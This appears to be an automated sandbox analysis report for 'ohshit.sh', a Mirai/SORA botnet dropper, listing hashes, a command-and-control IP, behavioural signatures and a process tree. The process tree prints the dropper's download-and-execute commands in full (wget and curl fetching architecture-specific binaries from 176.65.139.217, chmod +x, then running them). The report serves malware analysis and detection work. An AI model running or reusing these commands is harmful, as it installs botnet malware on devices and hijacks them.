Analysis
- max time kernel
110s - max time network
152s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
23/10/2026, 15:28
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20261019-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20260513-en
General
- Target ohshit.sh
- Size 2KB
- Sample261023-swt6pact7x
- SHA256 dd62b3d7e8ca943506b5be1ae35de46b74900c25af41a19117163f25a9a744f2
- MD5 cb778f496e3f3c31222b0947e51ddff9
- SHA1 66949fcf37fca9195a7b92b47f5b70dee597eda8
- SHA512 d5a19716a1c0259e063fb85803f46cb57c02d8a14c653609c5c24f198c06a6667bd2de69cae1f049cb5a3817a32a1d6653f5128fecc0317d986de13008821484
- TLSH T19851B5C933929432AFB599A675BD45187480669B9DC77F0ED8FC78E8848DE0C74A0783
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
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mirai
-
176.65.139.217
Extracted
-
mirai
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SORA
-
176.65.139.217
Signatures
- Mirai Renesas payload 1 IoCs
resource yara_rule behavioral4/files/fstream-8.dat family_mirai_renesas - Contacts a large (135815) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 744 chmod 838 chmod 883 chmod 889 chmod 895 chmod 906 chmod 806 chmod 847 chmod 767 chmod 800 chmod 863 chmod 869 chmod 901 chmod 912 chmod 852 chmod - Executes dropped EXE 15 IoCs
ioc pid Process /tmp/bitch 745 ohshit.sh /tmp/bitch 768 ohshit.sh /tmp/bitch 801 ohshit.sh /tmp/bitch 807 ohshit.sh /tmp/bitch 840 ohshit.sh /tmp/bitch 848 ohshit.sh /tmp/bitch 853 ohshit.sh /tmp/bitch 864 ohshit.sh /tmp/bitch 870 ohshit.sh /tmp/bitch 884 ohshit.sh /tmp/bitch 890 ohshit.sh /tmp/bitch 896 ohshit.sh /tmp/bitch 902 ohshit.sh /tmp/bitch 907 ohshit.sh /tmp/bitch 913 ohshit.sh - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog bitch File opened for modification /dev/misc/watchdog bitch - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp bitch -
resource yara_rule behavioral4/files/fstream-5.dat upx behavioral4/files/fstream-6.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself 2p3m1e0djpo1ojf50np 853 bitch - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp bitch -
description ioc Process File opened for reading /proc/352/fd bitch File opened for reading /proc/440/fd bitch File opened for reading /proc/715/fd bitch File opened for reading /proc/872/fd bitch File opened for reading /proc/filesystems cp File opened for reading /proc/385/fd bitch File opened for reading /proc/661/fd bitch File opened for reading /proc/686/fd bitch File opened for reading /proc/858/fd bitch File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/179/fd bitch File opened for reading /proc/350/fd bitch File opened for reading /proc/854/fd bitch File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/858/exe bitch File opened for reading /proc/242/fd bitch File opened for reading /proc/383/fd bitch File opened for reading /proc/876/fd bitch File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/155/fd bitch File opened for reading /proc/356/fd bitch File opened for reading /proc/718/fd bitch File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/382/fd bitch File opened for reading /proc/677/fd bitch File opened for reading /proc/689/fd bitch File opened for reading /proc/680/fd bitch File opened for reading /proc/856/fd bitch File opened for reading /proc/860/fd bitch File opened for reading /proc/919{1,1T bitch File opened for reading /proc/854/exe bitch File opened for reading /proc/1/fd bitch File opened for reading /proc/327/fd bitch File opened for reading /proc/349/fd bitch - System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 837 cat 842 wget 845 curl 846 cat 808 wget 809 curl - Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/sora.x86_64 wget File opened for modification /tmp/sora.x86_64 curl File opened for modification /tmp/sora.mips wget File opened for modification /tmp/sora.mpsl curl File opened for modification /tmp/sora.arm5 curl File opened for modification /tmp/sora.arm7 wget File opened for modification /tmp/sora.arm7 curl File opened for modification /tmp/sora.ppc curl File opened for modification /tmp/sora.m68k wget File opened for modification /tmp/sora.m68k curl File opened for modification /tmp/sora.arm wget File opened for modification /tmp/busybox cp File opened for modification /tmp/sora.x86 curl File opened for modification /tmp/sora.i586 curl File opened for modification /tmp/sora.arm6 wget File opened for modification /tmp/sora.arm6 curl File opened for modification /tmp/sora.sh4 curl File opened for modification /tmp/bitch ohshit.sh File opened for modification /tmp/sora.arm curl File opened for modification /tmp/sora.arm5 wget File opened for modification /tmp/sora.ppc wget File opened for modification /tmp/sora.sparc curl File opened for modification /tmp/sora.sh4 wget File opened for modification /tmp/sora.mips curl File opened for modification /tmp/sora.mips64 curl File opened for modification /tmp/sora.mpsl wget File opened for modification /tmp/sora.arc curl File opened for modification /tmp/sora.x86 wget
Processes
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/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:715 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:721
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.arc2⤵PID:724
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:741
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/bin/catcat sora.arc2⤵PID:743
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:744
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/tmp/bitch./bitch2⤵PID:745
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.x862⤵
- Writes file to tmp directory
PID:746
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:747
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/bin/catcat sora.x862⤵PID:766
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.x86 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:767
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/tmp/bitch./bitch2⤵PID:768
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.x86_642⤵
- Writes file to tmp directory
PID:771
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:781
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/bin/catcat sora.x86_642⤵PID:799
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:800
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/tmp/bitch./bitch2⤵PID:801
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.i5862⤵PID:803
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.i5862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:804
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/bin/catcat sora.i5862⤵PID:805
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:806
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/tmp/bitch./bitch2⤵PID:807
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:808
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:809
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/bin/catcat sora.mips2⤵
- System Network Configuration Discovery
PID:837
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:838
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/tmp/bitch./bitch2⤵PID:840
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.mips642⤵
- System Network Configuration Discovery
PID:842
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.mips642⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:845
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/bin/catcat sora.mips642⤵
- System Network Configuration Discovery
PID:846
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.mips64 sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:847
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/tmp/bitch./bitch2⤵PID:848
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.mpsl2⤵
- Writes file to tmp directory
PID:849
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:850
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/bin/catcat sora.mpsl2⤵PID:851
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:852
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/tmp/bitch./bitch2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:853
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.arm2⤵
- Writes file to tmp directory
PID:857
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:861
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/bin/catcat sora.arm2⤵PID:862
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:863
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/tmp/bitch./bitch2⤵PID:864
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.arm52⤵
- Writes file to tmp directory
PID:866
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:867
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/bin/catcat sora.arm52⤵PID:868
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_64 systemd-private-c9f6d885561b46cbbecbc7d02236c455-systemd-timedated.service-DBW0bn2⤵
- File and Directory Permissions Modification
PID:869
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/tmp/bitch./bitch2⤵PID:870
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.arm62⤵
- Writes file to tmp directory
PID:872
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878
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/bin/catcat sora.arm62⤵PID:882
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_642⤵
- File and Directory Permissions Modification
PID:883
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/tmp/bitch./bitch2⤵PID:884
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.arm72⤵
- Writes file to tmp directory
PID:886
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887
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/bin/catcat sora.arm72⤵PID:888
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.x86 sora.x86_642⤵
- File and Directory Permissions Modification
PID:889
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/tmp/bitch./bitch2⤵PID:890
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.ppc2⤵
- Writes file to tmp directory
PID:892
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
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/bin/catcat sora.ppc2⤵PID:894
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.ppc sora.x86 sora.x86_642⤵
- File and Directory Permissions Modification
PID:895
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/tmp/bitch./bitch2⤵PID:896
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.sparc2⤵PID:898
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.sparc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899
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/bin/catcat sora.sparc2⤵PID:900
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.mips sora.mips64 sora.mpsl sora.ppc sora.sparc sora.x86 sora.x86_642⤵
- File and Directory Permissions Modification
PID:901
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/tmp/bitch./bitch2⤵PID:902
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.m68k2⤵
- Writes file to tmp directory
PID:903
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:904
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/bin/catcat sora.m68k2⤵PID:905
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.m68k sora.mips sora.mips64 sora.mpsl sora.ppc sora.sparc sora.x86 sora.x86_642⤵
- File and Directory Permissions Modification
PID:906
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/tmp/bitch./bitch2⤵PID:907
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/usr/bin/wgetwget http://176.65.139.217/bins/sora.sh42⤵
- Writes file to tmp directory
PID:909
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/usr/bin/curlcurl -O http://176.65.139.217/bins/sora.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:910
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/bin/catcat sora.sh42⤵PID:911
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/bin/chmodchmod +x bitch busybox ohshit.sh sora.arc sora.arm sora.arm5 sora.arm6 sora.arm7 sora.i586 sora.m68k sora.mips sora.mips64 sora.mpsl sora.ppc sora.sh4 sora.sparc sora.x86 sora.x86_642⤵
- File and Directory Permissions Modification
PID:912
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/tmp/bitch./bitch2⤵PID:913
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/bitch
- Size 27KB
- SHA256 363d7f945d3ffc0ec2d67154b0a552f322ea562a608924a98cf5c44388cc8dc3
- MD5 74a0e39195255e3f3b3e43eebf17de4f
- SHA1 9aab51e2566f37fa37d6e96ccfb3fe0893fad621
- SHA512 4bd0e62081fd4522fc8dc098cda74db0ef6923becfb01877a01b9a0ad494764b25e29a9d8bbeac22326fd6947663562d3da5da0cd436f5694469538ddd59733a
- SSDEEP 384:MsQ9WXUx5+bkbRaliVErjrL9VD9jPwrSaf5bwIB5/8x2BYFydHY0sNDZvzbSNHcM:u5+Kcrb9VDJef5Q2PdHuzb8HoEPbjL+o
- TLSH T12CC2E1A285F6CE17C86343791938157351681C55E34DEE3D1B2BEACC52CC0E72ABAC53
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/bitch
- Size 28KB
- SHA256 73ab4a2ffece356b303b7248f78c62fddf80300cdeb7e219cd178e0f09fbb920
- MD5 5f7b7f7580642fd20e8ac8fbf7899a57
- SHA1 c206e8e7c00012ef965919ca79f1e3e504d93e2c
- SHA512 f999f49cba2f27632623cdac459e55302e0eb4efeef58376a4952180fff4a7bc39bbb4cd4dac0101a55e41bf42806e315503957695681b25a123947c3b47a316
- SSDEEP 768:G8hzpUjpj9Orfn14Ao0iviTL5D+CVRNx02k:GTt9OzWjp6Pl+CN5k
- TLSH T13ED2D0C361AFFAB8D03351F50969D2EAF2557EB119D3172F548D30BE88BB8542B10B21
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/bitch
- Size 63KB
- SHA256 7faed14973fbaf7ccc83f843000473be08001c86f752bd354171bc490f96fc2d
- MD5 c20b3482ec4f307694698a7790a82b52
- SHA1 c4041af4c0cd940a1aa8b2ee6446269bea57de59
- SHA512 9c693ce8e205bf046acd10be6f11be8777270120c043058e3b78db3f1885ccd983308644c9f87f590eeea75c7e2f6298a25e4a96414ce06caac7ef2007dc645e
- SSDEEP 1536:zag/Vdf5F1LwtkbaOoQ3veifs3guba/qzCEZaCw8:zJzf5TLcQfPf+gehCEZau
- TLSH T17A537C75D119AEA8C0464AB469598E304B13F1C047632EF7EB9487A68443DBCF858FF8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/busybox
- Size 857KB
- SHA256 80d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
- MD5 6ffc46165b5d9726a6607f3ea5305589
- SHA1 ab127220f42e816b413dde0d17031e251a7bc98f
- SHA512 456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8
- SSDEEP 12288:JPhF2a+T7dHoLBMr/PgVbC47UnA+x9toFOUKPmG3QnPB9AG+PZQCfjrcDIQmin4D:JPhF2HTchw+jK+zFrCNYa+WUXSXPDd
- TLSH T195155C029F141FEBC8DBCD318A2DD36714EDCC9F02DA567A78BC8888764A64E9DD7448
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/sora.arc
- Size 276B
- SHA256 23808ec600857d5cbc4059a5b058a5ee7d928aaa2833ba2aa28c84d94f4c4669
- MD5 cdcbd18ccc5debfaa67d41ec9183d6cd
- SHA1 714dd0a629844f2c8c3f74794b5812e27300c43d
- SHA512 7f66f775aa806f165f0d9e8dbd904aaf4202c5b4a3789e3f1e804bfb4cff01c1bb0ff9d46f67285ca0a28e37656a39b692237422448c4c97d2044b236085b110
- TLSH T1E3D02BAE508372874812156039C215D2264C13F6B47E45AC7DCAE88752A853ECE9AA89
- MD5 SHA1 SHA512 TLSH